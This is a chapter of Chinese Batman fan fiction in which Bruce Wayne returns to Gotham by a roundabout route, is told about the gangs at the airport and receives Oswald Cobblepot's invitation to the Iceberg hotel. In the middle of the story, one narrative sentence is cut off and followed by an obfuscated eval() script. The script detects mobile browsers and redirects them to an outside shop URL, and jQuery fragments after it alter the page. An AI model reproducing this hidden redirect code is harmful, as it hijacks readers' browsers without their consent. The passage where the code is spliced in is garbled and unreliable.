布鲁斯·韦恩从飞机的舷窗向下俯瞰,哥谭的灯光如水一般流淌进了他的眼中。在云上看到的一切都是平等的,无论高低贵贱都只是无法用双眼辨认的沙砾。然而在高空中看到的自然并非真实的世界,高度会将许多真相掩盖,人只有在亲自行走于大地之上时才能看清世间的一切。
他想着自己收到的消息,他提前把自己要回哥谭的事情告诉了过去的一些朋友——他的同学,如今的哥谭市长奥茨瓦尔德·科波特,还有托马斯·埃利奥特。布鲁斯没有联系罗曼·西恩尼斯,罗曼成为了“黑面具”,彻底堕入了邪恶,而且这件事还是托马斯告诉他的。
“罗曼被他的父母逼疯了,”在电话里,托马斯的声音充满了无奈,“但我想这是迟早的事情,他们对他太苛刻了。虽然我的父母对我也不好,但再怎么样都没有到罗曼家里的程度。”
布鲁斯对此深以为然,他还记得上学的时候,罗曼总是穿着长袖长裤,时不时还会请假说自己生病,但就连真的体弱多病的奥茨瓦尔德也没有像是罗曼那样经常请假。而罗曼甚至偷偷给他们写信,问他们“用棍子打孩子是不是哥谭家族的传统”。
布鲁斯可以理解罗曼的疯狂,但发疯之后开始将自己的痛苦转嫁到无辜之人的身上,这就是他无法接受的了。
于是他只是在联系奥茨瓦尔德的时候说了一句,表示奥茨瓦尔德可以把自己回到哥谭的事情告诉罗曼。奥兹瓦尔德还笑着,表示自己和罗曼已经没什么联系了。
布鲁斯不完全相信奥兹瓦尔德的话,毕竟都能在哥谭当市长了,和什么天真无邪小白花是肯定扯不上关系的,问题只在于奥茨瓦尔德和哥谭的麻烦到底扯上了多少关系。布鲁斯不希望自己的老同学彻底成为哥谭的黑暗的一部分,哪怕亦正亦邪呢。
而事实上,哪怕布鲁斯告诉了他们自己要回到哥谭这件事,他也依然对自己的老同学们有着一定程度的提防。
他买了四张起飞时间不同,所属航空公司不同,降落地点不同的飞机票,分别给奥茨瓦尔德和托马斯看了不同的飞机票,并且表示自己希望对方保密,不要向其他人透露自己回来的准确时间,然后他给自己的父母和阿尔弗雷德也看了另外两张不同的飞机票。他还让自己家的私人飞机申请了航线,航线时间和四张飞机票的时间也不同。
然而布鲁斯并没有乘坐任何一架飞机,他选择易容之后乘坐游轮前往大都会,然后从大都会乘坐飞机回到哥谭。
他对所有人都抱有一定的提防,不过布鲁斯认为自己的提防是相当正当的,韦恩家族已经离开哥谭很久了,即使从卢修斯和阿尔弗雷德的口中可以听到不少关于哥谭现状的事情,但布鲁斯也不能保证这些全是真实的。要知道哥谭的现状如何,是否有人对自己充满敌意,最终还得自己亲眼去看。
伴随着机身的摇晃,飞机降落在了机场的跑道之上,布鲁斯也跟着长出一口气,他看着身边的人依次站起,有秩序地下机,自己也站起身来,从舷梯上缓缓走下。他可以闻到晚风中飘来的化工品的气味和腐臭的气味,混杂在一起甚至有些甜腥。这就是哥谭,他想,他的家乡,在之后他将要生活和斗争的地方。
他在下机之后才联系了阿尔弗雷德,希望阿尔弗雷德能派车来接他。老管家并不介意之前布鲁斯给了他一个错误的时间,倒不如说阿尔弗雷德的语气里还带着喜悦,他表示布鲁斯的警惕能够让布鲁斯在哥谭更好地生活。布鲁斯也因此松了口气,他并不是不信任阿尔弗雷德,而是担心有人会通过监视阿尔弗雷德的动向监视自己。
不过现在看来,之前打算谋杀托马斯和玛莎的人对韦恩家族放松了警惕,对布鲁斯也没有那么重视,布鲁斯觉得这是好事,至少比每个人都盯着自己要好。
然而很快,布鲁斯就体会到了哥谭的风土人情。
他好不容易找到了一张干净的椅子,坐在机场大厅等待阿尔弗雷德的信息,一个人就若无其事地路过了他的身边,趁着他分心的一瞬间一把拎起他的包就想跑。幸好布鲁斯的分心并不是真的分析,他抓住了自己背包的背带,似笑非笑地看着那个人,在对上布鲁斯的眼睛的同时,那个人讪笑了一下,放开了布鲁斯的背包。
布鲁斯暂时不打算为难这个小偷小摸的家伙,毕竟之后类似的事情应该还有很多,今天他打算先回家。接着他又听到了从外面传来的叫嚣和爆炸的声音,与之相对的是在机场大厅里看起来像是本地人的家伙们看起来都满脸平静,似乎这些爆炸的声音只是他们生活中相当平常的一部分。
甚至还有个看起来贼头贼脑的人探头看向布鲁斯,笑眯眯地操着一口哥谭方言的语调问布鲁斯:“第一次来哥谭,还不习惯?”
布鲁斯知道这种人是掮客,从他身上的打扮来看,应该是骗游客去他家的旅馆下榻,然后榨取钱财的那种。他甚至可以猜到这个人要做什么——说自己家的旅馆便宜还包接送,把人拐到偏僻的地方去,这样游客就不得不多付点钱,防止自己在荒郊野外流落街头。
当然,有些人会做得更过头,比方说顺手把人专卖了什么的,但是布鲁斯大概可以看出这人是为了钱来的……当然,也不能排除在达到自己最开始的骗钱的目的之后,这人会想要多赚点。
“我确实好奇,”布鲁斯说,他压低声音,让自己的声音显得格外沙哑,“哥谭为什么会变成这个样子。”
“哥谭一直都是这样,”那个人说,他看着布鲁斯的表情带上了几分好奇,“不过也确实,以前可没有那么多疯子,现在……呵。”
布鲁斯微微眯起了眼睛,事情倒也确实是这样,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17920309|213437||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
在他还小的时候,很少听说哥谭有精神病患者,但现在,哥谭好像到处都是精神病患者。他的手指轻轻敲击了一下大腿,然后从钱包里拿出五美元递给那个人,让他继续说。
那个人一把从布鲁斯的手里夺过了纸币,将它放在鼻子下用力吸了一口,脸上带着一种仿佛战栗的表情:“啊,美好的香味,我很少看到像你这样慷慨的人了,先生,你是记者,还是侦探?”
布鲁斯笑了笑,在这么做的时候他就知道自己会引发一些后果,但他确实想知道哥谭人是怎么看如今的哥谭的。被误以为记者倒是好事,至少这也说明了目前哥谭其实还是受到重视的,除此之外,他也确实想过要不要给自己一个假身份。
“你猜。”布鲁斯说。
“算了,猜对了你也不会给更多钱,我才不猜呢。”他说,布鲁斯能看出他的态度实际上是忌惮,他担心自己会被布鲁斯问出什么不该说的秘密,布鲁斯可以理解。但这也说明这个人或许真的知道一些别人不知道的“什么”,这五美元显然花得很值。
目前哥谭正处在一种相当特殊的混乱之中,不同的精神病人组成不同的帮派,将原本就没那么安定的城市搅得更加混乱。其中有名的帮派就有红头罩帮、企鹅帝国、稻草人帮、谜语人帮、黑面具帮等等,而老牌帮派罗马人尚且处在百足之虫死而不僵的状态中。帮派划分并统治着哥谭,安全的角落屈指可数。
同样的,在哥谭,一个有钱人可以获得人所能想象到的一切享受,甚至比起一般人的想象更多。光是每天运送到冰山酒店的食物就有数吨,酒店的游泳池每天都会换上最清澈的水。来自各国的俊男美女在这里齐聚一堂,时刻准备着对客人露出微笑或者一切客人需要的表情。在冰山酒店里甚至还有个动物园,可以抱着小熊猫或者帝企鹅合影。
这就是哥谭。
布鲁斯听完了他说的话,然后站起身来,阿尔弗雷德的车正在外面的不远处。他很快上车,看着车窗外的一切,他也看到了漆黑的道路,深邃的小巷和不远处璀璨的霓虹,在冰山酒店的上空聚光灯映照着飞艇。他打开阿尔弗雷德递给他的请柬,这是奥兹瓦尔德送来的,邀请他明天光临冰山酒店,他会在这里举办一场宴会,庆祝韦恩家族重回哥谭的社交圈。
请柬用的纸张非常挺括,上面还有着烫金的花纹,布鲁斯可以看到墨水里确实掺杂了金粉,还有若隐若现的,冰山酒店的水印。光是这样的一封请柬说不定就已经价值不菲了,但最关键的还是请柬所代表的东西。奥兹瓦尔德并不仅仅是在欢迎布鲁斯,这之中恐怕还有什么更深层次的东西。
比方说,奥兹瓦尔德在恐惧着什么,所以他需要先从布鲁斯这里撬开一道口子。
或许哥谭的水比他想得更深,布鲁斯想,但他无所畏惧。